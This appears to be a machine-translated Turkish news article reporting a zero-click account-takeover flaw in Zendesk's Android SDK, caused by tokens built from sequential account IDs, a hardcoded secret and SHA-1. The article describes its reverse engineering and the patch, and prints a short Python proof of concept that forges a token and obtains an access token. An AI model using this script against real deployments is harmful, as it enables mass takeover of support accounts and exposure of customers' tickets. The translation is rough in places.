Zendesk’in Android SDK’sındaki kritik bir sıfır tıkalı güvenlik açığı ortaya çıktı ve saldırganların destek hesaplarını kaçırmasına ve herhangi bir kullanıcı etkileşimi olmadan her bileti hasat etmesini sağladı.
Özel bir hata ödül programı sırasında keşfedilen kusur, Zendesk’in mobil uygulamasındaki zayıf jeton üretimi ve depolama mekanizmalarından kaynaklanmaktadır.
Güvenlik Açığı Genel Bakış
Zendesk’in Android istemcisi, öngörülebilir üç unsuru birleştirerek kimlik doğrulama jetonları oluşturur: kurbanın hesap kimliği, statik sert kodlanmış bir sır ve bu birleştirmenin SHA-1 karması.
Özellikle, uygulama format şirketinde bir dize oluşturur-
Hesap kimlikleri sıralı olduğundan ve sır doğrudan ikili içine yerleştirildiğinden, bir saldırgan herhangi bir kullanıcı için geçerli belirteçleri kabartı yapabilir.
Oluşturulduktan sonra, bu jetonlar, API erişimi sağlayan bir erişim belirteci almak için/Access/SDK/JWT’ye basit bir posta isteği ile gönderilir.

Araştırmacı hem statik hem de dinamik analiz tekniklerini kullandı.
JADX’i SDK’yı tersine çevirmek için kullandılar, kritik yöntemleri belirlediler: ZendeskidentityStorage ve ZendeskidentityManager altında kimlik jetonunu ve ilgili depolama API’lerini oluşturan ve depolayan Zendeskhelper.g ().
Frida üzerinden çalışma zamanı kancaları, sırrın asla döndürülmediğini veya cihaza özgü olmadığını ve uygulamanın önbelleği açıkça temizlenene kadar kimliğin oturumlar boyunca devam ettiğini doğruladı.
Dinamik test, bir Frida komut dosyasıyla SSL sabitlemesini atladıktan sonra Burp Suite aracılığıyla ağ trafiğini engellemeyi içeriyordu.
Kısıtlı Post isteği yalnızca kullanıcı jetonunu içeriyordu ve yeniden kullanılabilir bir erişim belirteci döndürdü. Sınırsız jeton yenilemelerine izin veren hiçbir oran limiti veya bir kerelik kısıtlama yoktu.
Sömürme
Süreci Python’daki yazarak, araştırmacı jeton oluşturma, erişim jeton alımı ve bilet numaralandırmasını otomatikleştirdi.
Hesap kimlikleri üzerindeki basit bir döngü, yüz binlerce hesabı toplu olarak ihlal edebilir. Gözden uygulanan, hiçbir kullanıcı eylemi gerektirmez-kimlik avı, sosyal mühendislik yok-bunu gerçek bir sıfır tıklatma uzlaşması yapmaz.
import hashlib, requests
def gen_sha1(full_string):
return hashlib.sha1(full_string.encode()).hexdigest()
def get_access_token(user_token):
url = "https://COMPANY.zendesk.com/access/sdk/jwt"
resp = requests.post(url, json={"user":{"token": user_token}})
return resp.json()['authentication']['access_token']
user_id = "131070497"
secret = "987sdasdlkjlakdjf"
full = f"COMPANY-{user_id}-{secret}"
token = f"{user_id}_{gen_sha1(full)}"
access = get_access_token(token)
print("Access Token:", access)
Başarılı sömürü hibeleri Hedeflenen herhangi bir kullanıcı için tüm destek biletlerine okuma ve yazma erişim. Saldırganlar, Zendesk’in destek ekosistemindeki hassas müşteri sorgularını sunabilir, hileli biletler enjekte edebilir veya ayrıcalıkları artırabilir.
Sorumlu ifşa üzerine Zendesk sorunu derhal kabul etti ve aşağıdakilere bir yama yayınladı:
- Statik sırrı cihaz başına, kullanıcı başına randomize anahtarlarla değiştirin.
- JWT Exchange uç noktalarında katı oran sınırlaması uygulamak.
- Android’in güvenli anahtar deposunu kullanarak token depolama alanı.
Bu sıfır-tıkaç güvenlik açığı, mobil SDK’larda sağlam jeton üretiminin ve yönetiminin kritik öneminin altını çizmektedir.
Zendesk gibi yaygın güvenilir platformlar bile öngörülebilir değerler ve statik sırlar kullanıldığında yüksek etkili kusurlar getirebilir.
Güvenlik ekipleri, üçüncü taraf kütüphaneleri titizlikle denetlemeli ve sessiz ama yıkıcı hesap devralmalarına karşı savunmak için en iyi uygulamaları (sırları düşürme, donanım destekli depolama ve hız sınırlayıcı kimlik doğrulama akışlarını) uygulamalıdır.
Bu haberi ilginç bul! Anında güncellemeler almak için bizi Google News, LinkedIn ve X’te takip edin!